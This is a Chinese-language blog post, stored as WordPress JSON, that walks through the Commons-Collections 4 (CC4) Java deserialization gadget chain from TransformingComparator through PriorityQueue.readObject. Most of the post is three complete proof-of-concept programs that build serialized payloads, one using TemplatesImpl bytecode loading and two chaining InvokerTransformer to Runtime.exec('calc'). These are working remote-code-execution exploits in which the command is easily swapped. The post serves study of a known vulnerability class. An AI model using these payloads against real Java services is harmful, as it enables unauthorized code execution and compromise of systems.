{"id":201,"date":"2026-03-25T12:35:10","date_gmt":"2026-03-25T04:35:10","guid":{"rendered":"https:\/\/arknight.wiki\/?p=201"},"modified":"2026-03-25T12:35:10","modified_gmt":"2026-03-25T04:35:10","slug":"cc4","status":"publish","type":"post","link":"https:\/\/arknight.wiki\/index.php\/2026\/03\/25\/cc4\/","title":{"rendered":"CC4"},"content":{"rendered":"<h1>CC4\uff1a<\/h1>\n<p>\u5f71\u54cd\u7248\u672c\uff1a<\/p>\n<ul>\n<li>JDK 8<\/li>\n<li>Commons-Collections\uff1a4<\/li>\n<\/ul>\n<h3>TransformingComparator\u7c7b\uff1a<\/h3>\n<p>\u5165\u53e3\uff1a<code>compare()<\/code>\u51fd\u6570<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/3e1aaf98-a94c-4c55-ad6c-7f6465a1de16.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-202\" data-original=\"https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/3e1aaf98-a94c-4c55-ad6c-7f6465a1de16.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" width=\"1587\" height=\"243\"  sizes=\"auto, (max-width: 1587px) 100vw, 1587px\" \/><\/div><\/p>\n<pre><code>    public int compare(final I obj1, final I obj2) {\n        final O value1 = this.transformer.transform(obj1);\n        final O value2 = this.transformer.transform(obj2);\n        return this.decorated.compare(value1, value2);\n    }<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u8c03\u7528\u4e86transform()\u65b9\u6cd5\uff0c\u53ef\u4ee5\u63a5\u4e0a\u6211\u4eec\u4e4b\u524d\u5b66\u7684CC\u94fe\uff0c\u4f5c\u4e3a\u6211\u4eecCC4\u7684\u89e6\u53d1\u70b9\u3002<\/p>\n<p>\u518d\u770b\u6784\u9020\u51fd\u6570\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/3f140e1a-446b-400d-ab11-8f059f45bd7b.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-203\" data-original=\"https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/3f140e1a-446b-400d-ab11-8f059f45bd7b.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" width=\"1591\" height=\"219\"  sizes=\"auto, (max-width: 1591px) 100vw, 1591px\" \/><\/div><\/p>\n<pre><code>    public TransformingComparator(final Transformer&lt;? super I, ? extends O&gt; transformer,\n                                  final Comparator&lt;O&gt; decorated) {\n        this.decorated = decorated;\n        this.transformer = transformer;\n    }<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u5230<code>transformer<\/code>\u901a\u8fc7\u6784\u9020\u51fd\u6570\u4f20\u5165\uff0c\u4e5f\u662f\u53ef\u63a7\u7684\u3002\u6211\u4eec\u4e0b\u9762\u627e\u600e\u4e48\u8c03\u7528<code>compare()<\/code>\u3002<\/p>\n<h3>PriorityQueue\u7c7b\uff1a<\/h3>\n<p><code>siftDownUsingComparator():<\/code><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/324d937a-4234-43ad-a9d8-2f060bcf8182.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-204\" data-original=\"https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/324d937a-4234-43ad-a9d8-2f060bcf8182.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" width=\"1660\" height=\"616\"  sizes=\"auto, (max-width: 1660px) 100vw, 1660px\" \/><\/div><\/p>\n<pre><code>    private void siftDownUsingComparator(int k, E x) {\n        int half = size &gt;&gt;&gt; 1;\n        while (k &lt; half) {\n            int child = (k &lt;&lt; 1) + 1;\n            Object c = queue[child];\n            int right = child + 1;\n            if (right &lt; size &amp;&amp;\n                comparator.compare((E) c, (E) queue[right]) &gt; 0)\n                c = queue[child = right];\n            if (comparator.compare(x, (E) c) &lt;= 0)\n                break;\n            queue[k] = c;\n            k = child;\n        }\n        queue[k] = x;\n    }<\/code><\/pre>\n<p>\u7167\u4f8b\u770b\u770bcomparator\u662f\u5426\u53ef\u63a7<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/a72170fe-9655-428e-aa73-92ad2be1d2b3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-205\" data-original=\"https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/a72170fe-9655-428e-aa73-92ad2be1d2b3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" width=\"1407\" height=\"353\"  sizes=\"auto, (max-width: 1407px) 100vw, 1407px\" \/><\/div><\/p>\n<pre><code>    public PriorityQueue(int initialCapacity,\n                         Comparator&lt;? super E&gt; comparator) {\n        \/\/ Note: This restriction of at least one is not actually needed,\n        \/\/ but continues for 1.5 compatibility\n        if (initialCapacity &lt; 1)\n            throw new IllegalArgumentException();\n        this.queue = new Object[initialCapacity];\n        this.comparator = comparator;\n    }<\/code><\/pre>\n<p>nice\u3002<\/p>\n<p>\u8fd9\u91cc\u6709\u5bf9<code>compare()<\/code>\u7684\u8c03\u7528\u3002\u4e0d\u8fc7\u5c5e\u6027\u662f<code>private()<\/code>\u3002\u7ee7\u7eed\u8ddf\u8fdb\u3002<\/p>\n<p><code>siftDown<\/code><\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/0b323c79-d203-44e9-ad0e-e580bc88a33c.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-206\" data-original=\"https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/0b323c79-d203-44e9-ad0e-e580bc88a33c.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" width=\"1585\" height=\"247\"  sizes=\"auto, (max-width: 1585px) 100vw, 1585px\" \/><\/div><\/p>\n<pre><code>    private void siftDown(int k, E x) {\n        if (comparator != null)\n            siftDownUsingComparator(k, x);\n        else\n            siftDownComparable(k, x);\n    }<\/code><\/pre>\n<p>\u4e00\u4e2a<code>private<\/code>\u65b9\u6cd5\uff0c\u7ee7\u7eed\u3002<\/p>\n<p><code>heapify()<\/code>:<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/a30af7b4-a51b-43f3-83cb-42b947e6d112.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-207\" data-original=\"https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/a30af7b4-a51b-43f3-83cb-42b947e6d112.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" width=\"1495\" height=\"183\"  sizes=\"auto, (max-width: 1495px) 100vw, 1495px\" \/><\/div><\/p>\n<p>\u8fd9\u91cc\u6709\u4e00\u4e2a<code>heapify<\/code>\u65b9\u6cd5\uff0c\u53ef\u4ee5\u8c03\u7528<code>siftDown()<\/code>\u65b9\u6cd5\uff0c\u4e0d\u8fc7\u4ecd\u7136\u662f<code>private<\/code>\u3002\u800c\u4e14\u9700\u8981\u6ce8\u610f\u7684\u662f\u8fd9\u91cc<code>size<\/code>\u8981\u5927\u4e8e1\u624d\u80fd\u6b63\u5e38\u8fd0\u884c\u3002<\/p>\n<p><code>readObject<\/code>\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/016e58ed-7343-4fc0-9a40-df27ad698f0a.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-208\" data-original=\"https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/016e58ed-7343-4fc0-9a40-df27ad698f0a.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" width=\"1589\" height=\"659\"  sizes=\"auto, (max-width: 1589px) 100vw, 1589px\" \/><\/div><\/p>\n<pre><code>    private void readObject(java.io.ObjectInputStream s)\n        throws java.io.IOException, ClassNotFoundException {\n        \/\/ Read in size, and any hidden stuff\n        s.defaultReadObject();\n\n        \/\/ Read in (and discard) array length\n        s.readInt();\n\n        queue = new Object[size];\n\n        \/\/ Read in all elements.\n        for (int i = 0; i &lt; size; i++)\n            queue[i] = s.readObject();\n\n        \/\/ Elements are guaranteed to be in \"proper order\", but the\n        \/\/ spec has never explained what that might be.\n        heapify();\n    }<\/code><\/pre>\n<p>\u8fd9\u91cc\u5c31\u6765\u5230\u4e16\u754c\u7684\u7ec8\u70b9\u4e86\uff08bushi\uff09\uff0c\u6765\u5230<code>readoOject()<\/code>\u65b9\u6cd5\uff0c\u53cd\u5e8f\u5217\u5316\u5c31\u53ef\u4ee5\u89e6\u53d1\u4e86\u3002<\/p>\n<h3>size\u8d4b\u503c\u95ee\u9898\uff1a<\/h3>\n<p>\u6211\u4eec\u4e4b\u524d\u770b\u5230\uff0csize\u7684\u503c\u5fc5\u987b\u5927\u4e8e1\u624d\u80fd\u4f7f<code>heapify()<\/code>\u6b63\u5e38\u8fd0\u884c\uff0c\u6240\u4ee5\u9700\u8981\u5bf9\u5b83\u8fdb\u884c\u8d4b\u503c\u3002\u6211\u4eec\u5f53\u7136\u53ef\u4ee5\u76f4\u63a5\u53cd\u5c04\u4fee\u6539\uff0c\u4e0d\u8fc7\u6211\u4ece\u5176\u4ed6\u5e08\u5085\u7684\u535a\u5ba2\u91cc\u5077\u5230\u4e86\u5176\u4ed6\u7406\u89e3\uff1a\u7528\u8be5\u7c7b\u81ea\u5e26\u7684add\u65b9\u6cd5\u53bb\u8fdb\u884c\u8d4b\u503c<\/p>\n<pre><code>public boolean add(E e) {\n    return offer(e);\n}<\/code><\/pre>\n<p>\u518d\u770b<code>offer()<\/code>\u65b9\u6cd5\uff1a<\/p>\n<pre><code>    public boolean offer(E e) {\n        if (e == null)\n            throw new NullPointerException();\n        modCount++;\n        int i = size;\n        if (i &gt;= queue.length)\n            grow(i + 1);\n        size = i + 1;\n        if (i == 0)\n            queue[0] = e;\n        else\n            siftUp(i, e);\n        return true;\n    }<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u6709\u5bf9size\u7684\u589e\u957f\u903b\u8f91\uff0c\u4e0d\u8fc7\u6211\u4eec\u770b\u770b<code>siftUp<\/code>\uff1a<\/p>\n<pre><code>    private void siftUp(int k, E x) {\n        if (comparator != null)\n            siftUpUsingComparator(k, x);\n        else\n            siftUpComparable(k, x);\n    }<\/code><\/pre>\n<p>\u770b\u770b<code>siftUpUsingComparator<\/code>:<\/p>\n<pre><code>    private void siftUpUsingComparator(int k, E x) {\n        while (k &gt; 0) {\n            int parent = (k - 1) &gt;&gt;&gt; 1;\n            Object e = queue[parent];\n            if (comparator.compare(x, (E) e) &gt;= 0)\n                break;\n            queue[k] = e;\n            k = parent;\n        }\n        queue[k] = x;\n    }<\/code><\/pre>\n<p>\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u4e5f\u4f1a\u63d0\u524d\u8c03\u7528<code>compare()<\/code>\u65b9\u6cd5\u8ba9\u7a0b\u5e8f\u63d0\u524d\u8dd1\u5b8c\u3002\u6211\u4eec\u7528CC3\u8c03\u6574<code>factory<\/code>\u503c\u7684\u601d\u8def\uff0c\u5148\u7ed9\u4e00\u4e2a\u5176\u4ed6\u503c\uff0c\u6784\u9020\u5b8c\u518d\u53cd\u5c04\u8c03\u56de\u6765\u3002<\/p>\n<h3>POC:<\/h3>\n<p>poc1\uff1a\u63a5CC3\u4e0a\u534a\u6bb5<\/p>\n<pre><code>package org.example;\n\nimport java.lang.reflect.Field;\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\nimport java.util.PriorityQueue;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport org.apache.commons.collections4.Transformer;\nimport org.apache.commons.collections4.functors.ChainedTransformer;\nimport org.apache.commons.collections4.functors.ConstantTransformer;\nimport org.apache.commons.collections4.functors.InstantiateTransformer;\nimport org.apache.commons.collections4.comparators.TransformingComparator;\n\nimport javax.xml.transform.Templates;\nimport java.io.*;\n\npublic class CC4 {\n    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {\n        TemplatesImpl templates = new TemplatesImpl();\n        setFieldValue(templates,\"_name\",\"a\");\n\n        byte[] code = Files.readAllBytes(Paths.get(\"C:\\Users\\inex\\IdeaProjects\\cc\\classtobytes\\src\\main\\java\\org\\example\\DecodedTest.class\"));\n        byte[][] codes = {code};\n        setFieldValue(templates,\"_bytecodes\",codes);\n\n        setFieldValue(templates,\"_tfactory\",new TransformerFactoryImpl());\n\n        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});\n\n        Transformer[] transformers = new Transformer[] {\n                new ConstantTransformer(TrAXFilter.class),\n                instantiateTransformer\n        };\n        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);\n\n        \/\/CC4\u524d\u534a\u6bb5\n        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);\n        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);\n\n        Class priorityqueue = priorityQueue.getClass();\n        Field size = priorityqueue.getDeclaredField(\"size\");\n        size.setAccessible(true);\n        size.set(priorityQueue, 2);\n        serialize(priorityQueue);\n        unserialize(\"CC4.txt\");\n    }\n    public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{\n        Class c = object.getClass();\n        Field field = c.getDeclaredField(field_name);\n        field.setAccessible(true);\n        field.set(object, field_value);\n    }\n    \/\/\u5b9a\u4e49\u5e8f\u5217\u5316\u64cd\u4f5c\n    public static void serialize(Object object) throws IOException {\n        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"CC4.txt\"));\n        oos.writeObject(object);\n        oos.close();\n    }\n\n    \/\/\u5b9a\u4e49\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c\n    public static void unserialize(String filename) throws IOException, ClassNotFoundException{\n        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));\n        ois.readObject();\n    }\n}\n<\/code><\/pre>\n<p>\u8fd9\u91cc\u7531\u4e8e\u7c7b\u52a0\u8f7d\u540e\u65e0\u91cd\u590d\u5b9a\u4e49\u53ea\u5f39\u4e00\u6b21\u8ba1\u7b97\u5668<\/p>\n<p>POC2\uff1a\u63a5CC1\u524d\u534a\u90e8\u5206<\/p>\n<pre><code>package org.example;\n\nimport java.lang.reflect.Field;\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\nimport java.util.PriorityQueue;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport org.apache.commons.collections4.Transformer;\nimport org.apache.commons.collections4.functors.ChainedTransformer;\nimport org.apache.commons.collections4.functors.ConstantTransformer;\nimport org.apache.commons.collections4.functors.InstantiateTransformer;\nimport org.apache.commons.collections4.comparators.TransformingComparator;\nimport org.apache.commons.collections4.functors.InvokerTransformer;\n\nimport javax.xml.transform.Templates;\nimport java.io.*;\n\npublic class CC4 {\n    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {\n        Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getDeclaredMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", null}),\n                new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),\n                new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"}),\n        };\n        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);\n\n        \/\/CC4\u524d\u534a\u6bb5\n        TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);\n        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);\n\n        Class priorityqueue = priorityQueue.getClass();\n        Field size = priorityqueue.getDeclaredField(\"size\");\n        size.setAccessible(true);\n        size.set(priorityQueue, 2);\n        serialize(priorityQueue);\n        unserialize(\"CC4.txt\");\n    }\n    public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{\n        Class c = object.getClass();\n        Field field = c.getDeclaredField(field_name);\n        field.setAccessible(true);\n        field.set(object, field_value);\n    }\n    \/\/\u5b9a\u4e49\u5e8f\u5217\u5316\u64cd\u4f5c\n    public static void serialize(Object object) throws IOException {\n        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"CC4.txt\"));\n        oos.writeObject(object);\n        oos.close();\n    }\n\n    \/\/\u5b9a\u4e49\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c\n    public static void unserialize(String filename) throws IOException, ClassNotFoundException{\n        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));\n        ois.readObject();\n    }\n}\n<\/code><\/pre>\n<p>\u8fd9\u91cc\u7531\u4e8e\u4f1a\u8fdb\u884c\u4e24\u6b21<code>transform<\/code>\uff0c\u6240\u4ee5\u4f1a\u89e6\u53d1\u4e24\u6b21\u8ba1\u7b97\u5668<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/4b64010c-d062-4510-ac43-6df9a952eca7.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-209\" data-original=\"https:\/\/arknight.wiki\/wp-content\/uploads\/2026\/03\/4b64010c-d062-4510-ac43-6df9a952eca7.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" width=\"1547\" height=\"196\"  sizes=\"auto, (max-width: 1547px) 100vw, 1547px\" \/><\/div><\/p>\n<p>POC3:\u7528add\u6539\u503c<\/p>\n<pre><code>package org.example;\n\nimport java.lang.reflect.Field;\nimport java.nio.file.Files;\nimport java.nio.file.Paths;\nimport java.util.PriorityQueue;\n\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;\nimport com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;\nimport org.apache.commons.collections4.Transformer;\nimport org.apache.commons.collections4.functors.ChainedTransformer;\nimport org.apache.commons.collections4.functors.ConstantTransformer;\nimport org.apache.commons.collections4.functors.InstantiateTransformer;\nimport org.apache.commons.collections4.comparators.TransformingComparator;\nimport org.apache.commons.collections4.functors.InvokerTransformer;\n\nimport javax.xml.transform.Templates;\nimport java.io.*;\n\npublic class CC4 {\n    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {\n        Transformer[] transformers = new Transformer[]{\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getDeclaredMethod\", new Class[]{String.class, Class[].class}, new Object[]{\"getRuntime\", null}),\n                new InvokerTransformer(\"invoke\", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),\n                new InvokerTransformer(\"exec\", new Class[]{String.class}, new Object[]{\"calc\"}),\n        };\n        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);\n\n        \/\/CC4\u524d\u534a\u6bb5\n        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(\"a\"));\n        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);\n\n        priorityQueue.add(1);\n        priorityQueue.add(2);\n        setFieldValue(transformingComparator,\"transformer\",chainedTransformer);\n        serialize(priorityQueue);\n        unserialize(\"CC4.txt\");\n    }\n    public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldException, IllegalAccessException{\n        Class c = object.getClass();\n        Field field = c.getDeclaredField(field_name);\n        field.setAccessible(true);\n        field.set(object, field_value);\n    }\n    \/\/\u5b9a\u4e49\u5e8f\u5217\u5316\u64cd\u4f5c\n    public static void serialize(Object object) throws IOException {\n        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(\"CC4.txt\"));\n        oos.writeObject(object);\n        oos.close();\n    }\n\n    \/\/\u5b9a\u4e49\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c\n    public static void unserialize(String filename) throws IOException, ClassNotFoundException{\n        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));\n        ois.readObject();\n    }\n}\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>CC4\uff1a \u5f71\u54cd\u7248\u672c\uff1a JDK 8 Commons-Collections\uff1a4 TransformingComp [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[12,3],"tags":[],"class_list":["post-201","post","type-post","status-publish","format-standard","hentry","category-java","category-3"],"_links":{"self":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/201","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/comments?post=201"}],"version-history":[{"count":1,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/201\/revisions"}],"predecessor-version":[{"id":210,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/posts\/201\/revisions\/210"}],"wp:attachment":[{"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/media?parent=201"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/categories?post=201"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/arknight.wiki\/index.php\/wp-json\/wp\/v2\/tags?post=201"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}